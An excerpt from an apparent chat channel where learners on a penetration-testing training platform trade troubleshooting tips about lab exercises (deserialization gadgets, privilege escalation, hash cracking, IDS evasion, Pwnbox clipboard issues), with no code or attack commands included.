try increasing the timeout

#

that smpt enum tool

earnest jacinth
#

in Advanced Deserialization Attacks -> ObjectDataProvider Gadget -> XML Example:
the author keeps referring to objects and whether they can be serialized with XmlSerializer object although the latter is only used for deserialization

#

is this just a general way of explaining and the author is expecting us to understand that if XmlSerializer cannot serialize an object then it automatically cannot deserialize it ?

#

because it gets confusing when trying to follow up

bright shore
#

did anyone do the linux priv esc skills assessment? Keep getting the following message everytime I ssh to the target and despite resetting the connection multiple times, I still get the same message: apclient_loop: send disconnect: Broken pipe

#

non-usable lab lol

safe star
#

probably, i only remember -w

fallen gale
#

Damn, I wasted 8 hours trying to find the Firewall and IDS/IPS Evasion flag - Hard Lab I learned something today, even if I have to read the module 50 or 5 thousand times, I'll reread it for the love of god

#

But I learned

safe star
#

I used 30 when i did it

turbid panther
#

Passwd, Shadow & Opasswd

For anyone else that may get stuck on this lab ^, either the password or the hash for the account that is to be targeted didn't generate properly and I got stuck here for awhile. I restarted the VM and the hash changed and did nothing else to change my process, and then was able to crack the hash. Worth trying if you get stuck like I did.

gilded current
#

just a question about Pwnboxes:

for some reason paste from host to pwnbox doesnt work out at all, Im using firefox

I even tried to change config files, still no results, if I try chrome it works, I even looked at the logs and it says “failed to save clipboard” , I clear ed the cache and even disabled browser extensions

any ideas to try? I believe no one else has this problem